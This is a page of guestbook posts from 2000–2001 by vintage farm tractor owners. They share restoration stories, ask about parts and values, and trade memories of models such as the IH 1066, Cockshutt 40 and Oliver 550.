Dale Wilder wrote on Thursday, April 05, 2001 (PDT):Yes I have a close friend here in mn who has one it's not quit as beautiful as this one but it's quit the work horse we use it to pull trees, after we've cut them down and on occassions to pull stumps out. Like I said it's a real work horse.He's interested in find for sale any tractor that's in the bracket of the like 430,530,etc. THANKS FOR THE LOOK SEE
Dale Wilder wrote on Thursday, April 05, 2001 (PDT):Yes I have a close friend here in mn who has one it's not quit as beautiful as this one but it's quit the work horse we use it to pull trees, after we've cut them down and on occassions to pull stumps out. Like I said it's a real work horse.He's interested in find for sale any tractor that's in the bracket of the like 430,530,etc. THANKS FOR THE LOOK SEE
Ron Roney wrote on Wednesday, April 04, 2001 (PDT):Would be interested in a power steering conversion for my 550 if one is available. Steers a little "stiff" with the bucket full of crusher run.
Lloyd Schumacher ; wrote on Wednesday, April 04, 2001 (PDT):I WOULD LIKE SEE A OLIVER 99 BUILT ABOUT 1937 TO 1941 THAT CAME ON RUBBER I SEE PICTURES OF THE LATER MODELS BUT NEVER A TRACTOR OF THAT ERA I AM LOOKING FOR A NICE PICTURE OF A TRACTOR ON RUBBER OF THAT ERA
Don wrote on Sunday, April 01, 2001 (PDT):Need undercarriage parts for TD6 #DBK16847T7BH
Murray Davis wrote on Sunday, April 01, 2001 (PDT):Hello from Westfield, New Brunswick. Just letting you folks know that I am restoring a 1953 Cockshutt 20 ser.#2011. I also have a 1957 Cockshutt 20 ser. #30067 both with wide front ends. Nearby there is a 20 with narrow front end ser. # 350.
Bennett & Pittman Farms wrote on Saturday, March 31, 2001 (PST):We recently Bought a 1066 for light duties on our large scale crop, Hogs, Dairy and beef cattle farm. Our smallest tractor was a 986 and we decided we needed a bigger one just for small things such as PTO work and Square baling. We really like it, it sure beats the hell out of spending $65,000 for a new one with half the power of a 1066. It sure aint an STX440 quadtrac but we sure like it!
emre ucer wrote on Saturday, March 31, 2001 (PST):DEAR MR OR MRS I AM FROM TURKEY AND LEARNNG AT EGE UN.MY DEPARTMANT IS AGRICULTRAL MACHINERY (CLASS 2) PLS SEND ME SOME PHOTOS AND NEW DOCEMENTS ABAOUT TRACTORS THANX
ROBERT ARMSTRONG wrote on Saturday, March 31, 2001 (PST):I HAVE OWNED MY 550 FOR ABOUT A YEAR, WHEN I RECIEVED IT, IT WAS IN PIECES, WITH NO HEAD, I FOUND ONE, AND STARTED A RE-BUILD, WHEN ALL THE MEASURMENTS DIDNT ADD UP, WHAT I FOUND WAS THAT ON LAST RE-BUILD THEY MUST HAVE BORED CYL. AND INSTALLED SUPER 77 PISTONS ECT.. AFTER GETTING ALL THE NESSARY PARTS , ENGINE RUNS GREAT BUT NO PTO!! IM PRETTY GOOD AT THE ENGINE DEPT. BUT HAVE NOT GONE INTO THE CASE BEFORE , COULD ANY ONE GIVE ME ANY HELPFUL INFO. ON THE CLUTCH SYSM. I HAVE ALREADY AJUSTED PTO CLUTCH AND WITH NO AVAIL, SHAFT IS OK AND TURNING THANKS
Joyce King wrote on Friday, March 30, 2001 (PST):We have a 1962 MM in running condition got it in a trade and would like to know what it is worth.The serial # is 16002205 GVI LP. If any of you have any info would like to hear from you. Joyce
Allen Leitherland wrote on Friday, March 30, 2001 (PST): In the early 70's my grandfather hired a friend to help him disk ground , he had a deere (4320) his friend had a 1066 . One day they were just about ready to quit for lunch and a Case dealer pulls in with a new 4wd tractor and disk . After about an hour of talk , the dealer talked them into a demonstration . My grandfather watched and was somewhat impressed , Mr. Frank (friend) was not he jumped on the 1066 and started down the field well behind the case it wasnt to long until he had passed it and started back to the other end of the field . The case had the all new Power Shift Transmission Mr Frank said " as i passed him i could see he kept bumping up gears until i was long gone and he had bogged the case down" . After that the salesman loaded the case up and said I sure would like to sale y'all this tractor but looks like you got all you need with that RED STUFF.
jsiegman wrote on Thursday, March 29, 2001 (PST):My family has a history with Allis Chalmers tractors. We currently have two D-15 and one D-14. We were wondering where on the tractor we can find the serial number so they can be registered. If anybody could help with this I would appreciate it. This is something that we would like to find out being that maybe someday we might be collectors of Allis Chalmers tractors.
Kevin Ross wrote on Thursday, March 29, 2001 (PST):I own a oliver 770 Diesel Row-Crop If you have any pics what so ever of one of these please Email me!!!! I have never seen another one of these Thanks Kevin
Mike Taylor wrote on Wednesday, March 28, 2001 (PST):Sorry, 65-21016 192-800-019
Bill Fickel wrote on Wednesday, March 28, 2001 (PST):I have a Model M bulldozer it good running condition many parts on this machine are like brand new .This machine is in working condition.And the whole machine except for the fuel tank and steering clutches are original. Its FOR SALE
Phil wrote on Tuesday, March 27, 2001 (PST):I'am looking for a manual for my M5 diesel it doesnt have to be new but would like to fined one in atleast good shape
Bob Dobrzynski wrote on Monday, March 26, 2001 (PST):I restored a Cockshutt 30 tractor and enjoyed doing it. My Grandpa had both the E-3 and the 30 he said they were good running tractors. I have a parts tractor and I have someone that what to buy one of the rear rims. How much do you think you would ask for it? It's in good shape have any idea? Thank You!!
Paul H. Ross wrote on Monday, March 26, 2001 (PST): Can anyone tell me how to find the original Red color of the Leader? Also, is there any information available to determine the year model of the Tractor? Thanks, Paul
Andre wrote on Monday, March 26, 2001 (PST):I have A 1965 SUPER DEXTA it is a legand. it has done almost 8500 hours and never had a spanner near. I don't consider the dexta a vintage. they are still capable of keeping the pace with a modern tractor of the same h.p
Mark Finnimore wrote on Sunday, March 25, 2001 (PST):I am looking to purchase a model 80 for full restoration or even one that has already been gone over...I am located in Ontario Canada but will drive to U.S. for right tractor...these are the greatest tractor ever for easy starting and versatility.
phillip wrote on Sunday, March 25, 2001 (PST):I have a 1948 t-d 9 international harvester and would like information on it Do know it runs good but would like to some history on it.
Ron wrote on Saturday, March 24, 2001 (PST):I have a narrow front D-14 tractor with final drive extentions and a wc with after market hand clutch for live PTO,parts or tractors for sale.
Jerry Priddy wrote on Saturday, March 24, 2001 (PST):I'm a volunteer at the West Virginia State Farm Museum at Point Pleasant W. Va., and we have an SD3 which I have been putting together without the help of any manuals, I need technical info, or better, a service manual. Please contact me with any information you can about this project. Right now I need info on a front motor mount and rocker arm lubrication system. I started this project with the engine totally dissassembled and parts scattered around the shop, so I really need some help.
James R. Kelley wrote on Saturday, March 24, 2001 (PST):Thanks to everyone who replied to my ad wanting to buy a Allis D-17. I got lucky and bought a Series IV from someone who's mother-in-law only used it to go to the mail box which was about one mile each way. However the owner said he occassionally caught her drag racing with the neighbor. Thanks again.
Steve Desomer wrote on Friday, March 23, 2001 (PST):I have a Field Marshall, there is no serial number plate ,can any body tell me how I can find out , perhaps by casting numbers or any other way what series this tractor is .I was told the flywheel should turn clockwise , this is not possible on this tractor ,because the starting dog won't let you do that (hand starting) .Can some body help . Thanks. Steve
GARY wrote on Friday, March 23, 2001 (PST):I ran a 1066 turbo for 2 years,it never had any down time.I have just restored a 1256 for my own use.Dose any one know the HP rating of a 1256.
Allan Brown wrote on Friday, March 23, 2001 (PST):I live in Klerksdorp South Africa, and am presently restoring a 1949 WD. It stood in a lock up garage for twenty years and is very complete, but well worn.
Richard Trygg wrote on Friday, March 23, 2001 (PST):I own a '63 Super Dexta and just recently learned that there are front-lifters and backhoes available! Anyone has these-in any condition-for sale?
Todd Brown wrote on Thursday, March 22, 2001 (PST):My dad has an old cockshutt 40 gas engine. it still runs and looks decent. however we cant seem to find the serial number. If anyone knows where it is located could you please let me know so we can find it and find out more about the tractor. Thank You.
T-Bone wrote on Thursday, March 22, 2001 (PST):I still have the ol'1066 I purchased new in '76.Last fall I was pulling the ripper(7 shank)and wasn't working her too hard at 5mph.Took her to the shop for the dyno and she sat in at 220!(The seal was still on the pump).I just love it when I chew up those 8210's for 20% of the price!Had a neighbor blow up a 4840 trying to stay with me.Yes,I am bragging,but like Bob Feller said,"If you can do it,it ain't bragging".The M,806,1066,and 5488 are the only REAL tractors ever built!
Michael Cox wrote on Wednesday, March 21, 2001 (PST):I have a Super 55 HC. I've owned it since '95 and it hasn't skipped a beat. In the late 50's (probably when it was showroom new) it was converted to propane and prior to me buying it, someone changed out the electrical system. It now runs with an alternator. Needless to say, its a great tractor. When I've needed parts, I've bought them from Gap Tractor Parts in Cranfills Gap, Texas and From Allis/White Tractor Dealerships in Texas. Boy are replacement parts pricey! One day (hopefully soon) I'm going to restore mine, which really consist of painting it. The majority of pictures I've seen show red wheel wells, so that's the color I'm going to paint them.
Rock Stone wrote on Tuesday, March 20, 2001 (PST):My wifes gradpa has a Super M with a front end loader on it. I am an idiot when it comes to tractors, but would love to keep it in the family. Any idea what it is worth?
aaron wrote on Tuesday, March 20, 2001 (PST):I HAVE A FORD 8N AND IT HAS A KNOCK. FROM TALKING TO FRIENDS IT SOUNDS LIKE ITS GOING TO BE THE ROD BEARINGS. I WAS HOPING THAT YOU COULD CHANGE THEM OUT BY JUST REMOVING THE OIL PAN. DOES ANYONE KNOW? WHAT ABOUGHT IF THE CRANK NEEDS TO COME OUT? ANY ADVICE WOULD BE GREATLK APPRICIATED.
C.W.(Jim) Broughton wrote on Monday, March 19, 2001 (PST):To; Tom,Re; Disc... You will get better action and performance out of a regular "pull-behind" disc than you will out of the fast-hitch type,or even a three point disc, especially on the corners! You should have a drawbar attachment that goes on (bolts) to the bottom of your fast-hitch..simply put it on and either use a trailer ball or a clevis pin to attach a standard disc, takes about four concrete blocks to make 'er cut good, but you'll get good results !! Lots of luck...Jim
Rick Terhaar wrote on Sunday, March 18, 2001 (PST):I have a parts for a 20-35. The motor was blown & block cracked.Its just a pile parts now that I gave up on.If you need parts for one let me know.
Lew Studer wrote on Sunday, March 18, 2001 (PST):We still have a Cockshutt 40 on the family farm in Ohio. NAPA still carries most Buda engine parts in their industrial engine catalog. Keep em' running.
Rhea Park wrote on Saturday, March 17, 2001 (PST):I AM LISTING THESE TRACTORS FOR A FRIEND. ELLIS BERGMANN PHONE 217-624-5301 CENTRAL ILLINOIS CA-WF-$3250 D14-WITH 6 FT WOODS BELLEY MOWER $4250 D15 WITH 3 POINT HITCH $4000.00 ALL ARE IN GOOD CONDITION.
Eric wrote on Saturday, March 17, 2001 (PST):I have a completely restored super dexta from the ground up i am trying to find out if it had any emblems or decals on the hood.
Eric wrote on Saturday, March 17, 2001 (PST):I have a completely restored super dexta from the ground up i am trying to find out if it had any emblems or decals on the hood.
Luke Lund wrote on Friday, March 16, 2001 (PST):I would like instructions for setting the carburetor on my Farmall C And advice on where to find that procedure would be welcome. Thanks, Luke
Theo Brauch wrote on Friday, March 16, 2001 (PST):I have just gotten a 720 diesel that was on my uncles farm every thing works and it has rockshaft for 3 piont hitch so if any one knows were there might be some arms caqn you let me know hoping to get this old beast back to show room condition in the next little bit.This was the first tractor O I ever sat on at the age of 3 and with any luck it will be the last on.
Troy Lutton wrote on Friday, March 16, 2001 (PST):We have a 49 W-9, very little used, sat inside for twenty odd years. The sheet metal is all perfect, not one bump or scratch. No rust, paint faded but still completly intact, Does anyone know the approx. value? Nice W-4
TJ Ebenhack wrote on Wednesday, March 14, 2001 (PST): We have a late model 550 gas with power steering and old style loader that is in good condition. Does anyone have any idea what kind of price it may be worth? I appreciate e-mails from anyone whom might have an idea.
Richard Vohs wrote on Tuesday, March 13, 2001 (PST):I own a Row Crop 66, what year I don't know. It is still running today but needs some work and am interested in locating a local source for parts and service. My farm is located in Beavercreek, Oregon, 27 miles from Portland. I also have an Oliver Plow NC1383. Any help would be appreciated.
DON B wrote on Tuesday, March 13, 2001 (PST):Found #118 in a shed in TENN.1985 Hauled home to Ohio in back of pickup truck. Rear tires loaded,1 row cult.,& front wheel wgts. One heck of a ride. Nice little tractor. Would like to put belly mower on as farm has 3 A. yard.
Ella McFetridge.. wrote on Monday, March 12, 2001 (PST):A friend has a wonderful workhorse of a tractor a Cockshutt-540. this is all he knows about this tractor,he has had it many years.bought if many years ago,restored it and has worked it every since. But he would like some information on it..Please, Thank you
Les Johnson wrote on Sunday, March 11, 2001 (PST):We have a Case cast iron eagle (Abe) in mint condition. It stands about five and a half feet, weight is about five hundred pounds. What is the approximent value of this articial
Tim Stobbs wrote on Sunday, March 11, 2001 (PST):I am looing for an engine rebuild kit for a Massey 55. We have been using the tractor for haying and now the oil consumption is significant. Thanks
Emerson Kierstead wrote on Sunday, March 11, 2001 (PST):Thank you for the pictutre of one 55. Have driven one many miles logging, plowing, harrowing & haying, before and after school, in Kings Co NB. Had to bolt a 6 inch block of wood to clutch pedal to fully engage clutch. No power steering on this beast. (and he had to walk uphill to school both ways - his son Ron)
Jacques Brard wrote on Saturday, March 10, 2001 (PST):We have an Oliver Super 44 (from 1960) and we sold it to someone for 1800$ CAN (we live in the Qubec). I want to know if it's a good price.
Michael McCloskey , Charlottetown, P.E.I , (902) 566-1196 wrote on Friday, March 09, 2001 (PST):Brad Summers, I have a cockshutt 40 and pull in the 4500#,6000# and 8000# classes. I don't have a computer, but phone number listed above. Interested in talking to other 40 pullers.
Vernon H. wrote on Friday, March 09, 2001 (PST):I would also like to add my 2010 SN is RU 10250. It's in very good condition as of now and runs great. Knock on wood.
Vernon Hatcher wrote on Friday, March 09, 2001 (PST):Timmy G. I purchased a Manifold PN 04-695700 from my local JD Supplier. Your welcome to give him a call at 770-427-8491 and ask for Bennie. He may tell you where he found it or sell you one and ship it to you. Cost me $350.00. I'm sure everyone reading these posted messages agree that restoring an old tractor can be quite expensive and rewarding.
Garry Houpt wrote on Thursday, March 08, 2001 (PST):Piston rings for M/H Pony can be found in open stock of perfect circle or TRW, check with a good auto parts dealer. If you have never overhauled a pony engine, you will find it rather expensive for such a small engine. Pistons are also hard to find. Some of the older massey feguson dealers may have a few carb kits for this tractor, I found one this way. I need an exhaust manifold for M/H pony if anyone out there has one for sale.
Kenny Wilson wrote on Thursday, March 08, 2001 (PST):Indiana Rock, you can subscribe to Red Power Magazine by phone at 712-364-2131 or visiting their website at;www.redpowermagazine.com
Tim Mcnamee wrote on Wednesday, December 13, 2000 (PST):I am restoring our Cockshutt 40 used on my Dad's farm when I was a kid. I am looking for a good rebuildable motor for it. Thanks, TM
Drew Ayres wrote on Tuesday, December 12, 2000 (PST):I am looking for the orginal temp guage and amp guage for an 1130 with the turquoise illumination, also replacement decals for a sprit of 76 1135, the bicentenal decals and the star kit.
David Smith wrote on Tuesday, December 12, 2000 (PST):I have a 1066 C/H/A in great shape pulling 180+ HP. It is one great tractor that everyone should have of these if you are farming.Would like to have a 1468 or 1568 IH also.
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"!Geeze i really love that easy clutch on that tractor. Every man interested in tractors should most definetly look into one of these.
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"! Every man interested in tractors should most definetly look into one of these.
Erik Johnson wrote on Tuesday, December 12, 2000 (PST):I own an Oliver-Hart Parr 28-44 That I am considering selling it need's some work and a few Parts. But is overall in good shape. My E-mail is EJ32581 at hoTMAIL.COM
Pete Brodeur wrote on Monday, December 11, 2000 (PST):My grandfather has a little 80 acre farm in Rhode Island. We bought a 1086 and it is great. The decal says "1486" cuz the guy tuned her up. Where we dynoed it the limit was 135 and she was only half throttle and it was maxed out. We got a John Deere 1010 field cultivator that is 22 1/2 feet wide and she pulls it with no duals. With the chrome dogleg she has lots of bark to her.
Indiana Rock wrote on Monday, December 11, 2000 (PST):I have a 1957 Loboy. I need a couple of headlights and a back light. Can anyone tell me where I can get them? do not need the housings, just the lenses.
Allan wrote on Monday, December 11, 2000 (PST):I am in the process of restoring a 1950 Allis-Chalmers G. However I am having some difficulty finding tires because they are so rare. Any ideas? Also, I am also looking for a new rear hood. Any ideas there?
Tony Smith wrote on Sunday, December 10, 2000 (PST):Mark Limberg . We use a snowblower on a hydro. Maybe a 656 hydro would be a good tractor.
Mark Limberg wrote on Sunday, December 10, 2000 (PST):I grew up on a farm and drove 766, 966, 1066, 1086, 1586, and 7130 tractors. I now live on an acreage, but don't farm. I am looking to buy a tractor that I can use a loader and 3-point snow blower. Can someone make a recommendation for me? I was thinking of 786, 886, 986, 1086, or maybe even a '66 series, but I'm not sure the best way to go. Any suggestions would be greatly appreciated.
Dennis O. Rinehart wrote on Saturday, December 09, 2000 (PST):My father farmed with the Co-Op 20 and 30 in addition to the Cockshutts 20 and 30. He had narrow-front tractors. Cockshutt [sold as Co-Op in the USE via the Farm Bureau] was one of the first tractors to have a live power take-off. Dad used his CO-OP 20 and 30 in Tractor pulls at County fairs. Their power gave him many ribbons. No I am desparately looking for 1/16 scale models of these tractors for a farm tractor collection for future grandchildren. My parents have died. I want to keep telling our farm-family story. Having these tractor models would be wonderful for me. If anyone knows what I inquire about purchasing these 1/16 scale models, please write me; Dennis at aol.com. Thanks!
bill dittman wrote on Saturday, December 09, 2000 (PST):i have a freind needing a manifold for an e5 coop gas , haven't been able to locate one , can anybody help thanks
ernest wrote on Thursday, December 07, 2000 (PST):Is it possible to hook a mini backhoe to a Oliver55 ?
Armand wrote on Thursday, December 07, 2000 (PST):My dad had a 35L that we bought from a neighbor. We used it for just about everything from pulling trailer loads of wood out of the bush, to haying on my moms farm, towing cars and small buidings up the road. That tractor pulled everything we hooked on to it. After years of use it dropped a valve and my dad didn`t get a chance to fix it as he passed away in 1989 when I was 19. In my stupidity I sold it when I was 20 for a measley $250 because I needed some cash. Am I ever kicking myself for selling it. I loved to drive that thing. Lord willing someday I can afford to but another Cockshutt so my kids can have the enjoyment that I had as a young man. I like the 30 35 40 50 and the 500`s are nice too.
Armand wrote on Thursday, December 07, 2000 (PST):My dad had a 35L that we bought from a neighbor. We used it for just about everything from pulling trailer loads of wood out of the bush, to haying on my moms farm, towing cars and small buidings up the road. That tractor pulled everything we hooked on to it. After years of use it dropped a valve and my dad didn`t get a chance to fix it as he passed away in 1989 when I was 19. In my stupidity I sold it when I was 20 for a measley $250 because I needed some cash. Am I ever kicking myself for selling it. I loved to drive that thing. Lord willing someday I can afford to but another Cockshutt so my kids can have the enjoyment that I had as a young man. I like the 30 35 40 50 and the 500`s are nice too.
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride. It has the right power for all the jobs on my families farm
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Bernie Crawford wrote on Monday, December 04, 2000 (PST):Can someone help me locate a 1940 B that is for sale. I prefer one with electric start but will consider one with hand crank. Very anxious to buy. Please pass my e-mail address to anyone who can help.
Dennis Graves wrote on Sunday, December 03, 2000 (PST):TO;ROBERT EASTMAN THE 720 HAS ABOUT 68 HORSEPOWER. YOUR 720 MAY HAVE A OIL-TYPE AIR FILTER AND IF YOU LOOK CLOSELY THERE SHOULD BE A KNOCK-OUT FOR THE ABOVE HOOD TYPE. GREEN MAGAZINE AND TWO CYLINDER CLUB WOULD BE SOMEPLACE TO LOOK FOR ANY PARTS OR MANUALS. IF YOUR TRACTOR IS LIKE THE ONE IN THE PICTURE THEN I WOULD SAY IT IS A HIGH CROP MODEL. YOUR TRACTOR HAS A 24 VOLT TYPE STARTING SYSTEM. JOHN DEERE CAN HELP YOU WITH WHAT TYPE AND SIZE OF BATTERIES TO USE. ENJOY!!!!!!
john tabor wrote on Sunday, December 03, 2000 (PST):i've got a 48b jd with the planters on it and i need the row markers for it real bad. can be seen on rear cover of june issue of green magazine. green magazine or two cylinder mag are great places to find the answers to a lot of questions asked on these pages and to locate hard to find parts or people who restore about everything of jd's. parts books are available from most jd dealers as new reprints of service manuals, owersners manuals or parts books. parts people love it when you can call them up and tell them the exact part number your looking for. its surprising how many parts are still available through jd. good luck with your projects and keep a sharp eye out for row markers for me. thanks
MIKE wrote on Sunday, December 03, 2000 (PST):I am looking at a tractor that my neighbor has and I am trying to find out what it is could some one help me it is oliver yellow and diseal I dont know where the serial # is it has a wide front end it looks like the 550
Tom Renner wrote on Thursday, November 30, 2000 (PST):Am looking for rock shaft assembly for 420C JD (3 pt hook up)Please call or email/ 360-225-8119
Charlie Malloy wrote on Wednesday, November 29, 2000 (PST):I am interested to learn about Oliver standard tractor or Oliver orchard tractor. My question is, will a rowcrop 70 6-cylinder motor fit into a standard tractor? I am a member of the mid-Michigan Gas Tractor Assoc. & am very interested in Oliver tractors. I will appreciate your reply.
RANDY STARK wrote on Wednesday, November 29, 2000 (PST):I HAVE RECENTLY PURCHASED A CASE SC.THE OWNER SAYS THE CLUTCH IS OUT, AND THE ENGINE SEAMS TO BE LOCKED UP.HE SAYS THEY WILL DO THAT, IF THEY SIT ARROUND.MY QUESTION IS JUST HOW MUCH WORK WILL THIS ENGINE NEED? THANKS RS
Dale Cornelius wrote on Wednesday, November 29, 2000 (PST):I have grown up around red power and that picture reminds me of the 10 that my dad and grandpa had. It had a muffler on it but still sounded like a locomotive running the silage blower on our dairy farm every fall. I'm going to school to fix Deere stuff but Red & White will always be my colors.
Helen Jarvis wrote on Wednesday, November 29, 2000 (PST):I own a AC model M crawler either a '46 or '47 and am looking for a water pump for it. I had the radiator rebuilt and someone took off with the water pump to rebuild it but haven't seen it in 3 yrs. It used to run great and was used to farm hay in Woodside, CA by the King's family from Summit Springs now called King's Mountain.
Rob Trowbridge wrote on Tuesday, November 28, 2000 (PST):I have a 806/1066 pulling tractor and looking for 18.4x38 firestone super all traction 23degree 30-40% tread. Also looking for engine performance parts that fit a 466 IH engine 540 or 570c.i. sleeves and pistons. prefer riverside or hypermax. Also I need an flywheel explosion blanket. Oh yah, 806/1066, it's an 806 with a 414T engine and yes it can be done. Please respond if able to help or know where to purchase parts. IF IT AIN'T RED, LEAVE IT IN THE SHED.
Jeff Holsapple wrote on Tuesday, November 28, 2000 (PST):I have a 88 standard that I still use, but I need some parts for and I know of 3 more tractors close by. I would like to find a swapshop site, can you help?? Thanks
Albert Bauman wrote on Monday, November 27, 2000 (PST):I can almost here that engine from here, it's sweet music to the ears if they still hear anything.
Jeff Cade wrote on Monday, November 27, 2000 (PST):My wife and I just built a house on 5 acres and I was needing a mower. My brothers friend had a 1952 H with a woods finish deck on it. It was the best purchase ever.I'm in the process of restoring it. I guess I'm hooked now.
Bob Shackleford wrote on Monday, November 27, 2000 (PST):I have a tractor just like the one in the picture what is it worth . Only mine needs paint. Please respond. Thank you Curious!!!!!!!!!!!!!!!!!!
David Sullivan wrote on Sunday, November 26, 2000 (PST):I have a tractor like this I'm parting out.
Bill Young wrote on Sunday, November 26, 2000 (PST):I am 13 years old and love to fool with old Farmall tractors , between me and my dad we have 9 Farmall tractors 1 Case tractor 4 of our Farmall M's are pulling tractors. We have one Farmall MD and it took us 3 engines to get it to run, because 2 of the engines had a cracked block, but now it runs like a charm and we plan on painting it this week.
leen butter, strijen, holland wrote on Sunday, November 26, 2000 (PST):i just bought a minneapolis moline u special, serial number;01214877. building year; 1956. it runs and is complete, he needs new paint, and i am searching for the wright painting numbers. who can help me? by the way; a few years ago i have had a u-diesel, i sold this rear tractor wich i still regret.
PETE wrote on Saturday, November 25, 2000 (PST):IUSED TO SWEAR BY THE 8N&9Ns FOR ALLTHE CHORES OF MOWING,BLADING,BRUSHHOGGING AND SUCH. AFTER IGOT MY 550 THE LITTLE FORDS SEEMTO MAKE GOOD YARD ORNAMENTS, FOR A TRACTOR OF ITS SIZE A 550 CANT BE BEAT, NO HOW NO WAY IN MYOPINION
dave wrote on Saturday, November 25, 2000 (PST):I just came across an AC K model crawler, it has a baker blade with overhead hydraulics, the tractor ios fairly complete but has been sitting for a long time. The trtacks and pads do not look very worn Does anyone have any interest in it? Or what is the value as a parts machine? It is located near Phila. PA Dave djnewman at erols.com
wilber wrote on Friday, November 24, 2000 (PST):Have had two 1066 still have one today they are a great tractor.
Bill dittman wrote on Friday, November 24, 2000 (PST):MY GRANDFATHER BOUGHT A NEW D-15 SERIES 2 IN 1965 WITH 3POINT AND WIDE FRONT , PULLED A 4 ROW CORN PLANTER WITH HARROW ATTCH. ON IT ALSO HAD FULLY HYD. AC LOADER ON IT . THE DAY HE PASSED AWAY HE HAD JUST GOTTEN OFF THE D15 TO UNLOAD A WAGON LOAD OF EAR CORN AND SUFFERED A HEART ATTACK. WE KEPT THAT TRACTOR UNTIL 1980 , WISH I HAD IT BACK. VERY GOOD AC TRACTOR.
BILL DITTMAN wrote on Friday, November 24, 2000 (PST):MY FATHER BOUGHT A NEW OLIVER SUPER 88 DIESEL IN 1957 , PULLED 4-14 PULL TYPE PLOW , WORKED ALL THE GROUND , 400 ACRES, AND PICKED ALL THE CORN WITH AN OLIVER 2 ROW PULL TYPE PICKER , LATER HE USED IT ON A MM CORN SHELLER , SHELLING CORN ALL OVER. THE TRACTOR WAS TRADED IN 1968 , SOLD LOCALLY AGAIN AND NOW NEXT DOOR NEIGHBOR OWNS IT ; A LOT OF FOND MEMORIES .
Jim Cobb wrote on Friday, November 24, 2000 (PST):I own a 1939 orchard 70. Just starting the restoration process. Where can I buy the points and outside fender skirts, decals and engine side curtains. The exhaust comes out of the side of the hood, but I cannot find any place that has a serial number suggesting it is a true orchard and not just a standard. any help is appreciated
BILL DITTMAN wrote on Friday, November 24, 2000 (PST):MY FIRST TRACTOR WAS A 1964 MM602 GAS ON 18.4 RUBBER USED IT TO PLANT AND CULTIVATE WITH , PULLED IT IN THE LOCAL STOCK PERCENTAGE TRACTOR PULL WEIGHING 7000 LBS. ; HAVE MANY FIRST PLACE TROPHY'S , VERY LOUD WITH CHROME PIPE AND THE RPM'S SET A LITTLE HIGHER . GOOD TRACTOR
Harry Case wrote on Thursday, November 23, 2000 (PST):I worked on a farm in Grundy County Iowa in 1967, employer had a Massey 44 Special, Allis wd45, Allis 190xt, and a Moline M5. This was my favorite, it would pull a 4x16 plow five mph and the amlitorque was as smooth as silk and never gave us any problems. This was one bullet proof tractor! When we were shelling corn the M5 was pulling a big dryer, a 500 gal. propane tank was attached to the M5's gas tank and we ran non stop for 7 days and nights without a break. When we finally shut her down to check the it was still on the full mark. They don't make them any tougher than that! That's what I remember about the M5 Minnnemo.
bill dittman wrote on Thursday, November 23, 2000 (PST): I OWN A 1949 U IT IS COMPLETLY RESTORED , I USE IT FOR STOCK TRACTOR PULLING AT A FEW LOCAL PULLS , TOOK OFF ORIGINAL WHEELS AND MODIFIED press steel wheels with 15-5" TIRES , SHORTENED HITCH AND PLACE AT EVERY PULL . CAN PUT IT BACK TO ORIGINAL WHEN I'M READY . TRACTOR LOOKS LIKE NEW AND RUNS VERY GOOD , GAS MOTOR WITH LP HEADS. AXEL SEALS ARE STARTING TO LEAK BADNEED REPLACED , .
BILL DITTMAN wrote on Thursday, November 23, 2000 (PST):I WORKED FOR AN ALLIS DEALER WHEN THE 220 CAME OUT , HE ORDERED ONE AND THE COMPANY WANTED HIM TO FURNISH IT FOR DEMO AT THE MW POWER SHOW AT BROOKSTON , IN. WE PUT 7-18 PLOW ON IT FULLY DULED WITH EVERY THING LOADED WITH FLUID TO HOLD IT DOWN ; REAL POWERFUL TRACTOR !
BILL DITTMAN wrote on Thursday, November 23, 2000 (PST):MY FATHER HAD A SERIES 2 D21 , MOST POWERFUL TRACTOR EVER OWNED , PULLED 6-16 BOTTOMS IN HEAVY SOIL HAD FRONT END COME OFF GROUND IN HEAVY PULLING BUT NEVER DROPPED ANY RPMs . AXLE BEARINGS WENT BAD , STEEL SHAVINGS SATURATED THE WHOLE HYD. SYSTEM , WOULD LOCKUP POWERSTEERING EVEN AFTER DEALER FLUSHED COMPLETE SYSTEM. REAL HORSE!
Dennis March wrote on Thursday, November 23, 2000 (PST):My dad owned a 770 with a narrow front end. I am looking for a model of this to put into my front room in my home as a memory of my child hood on the farm. Has anyone ever seen one or know of a place that might have one? Thanks.
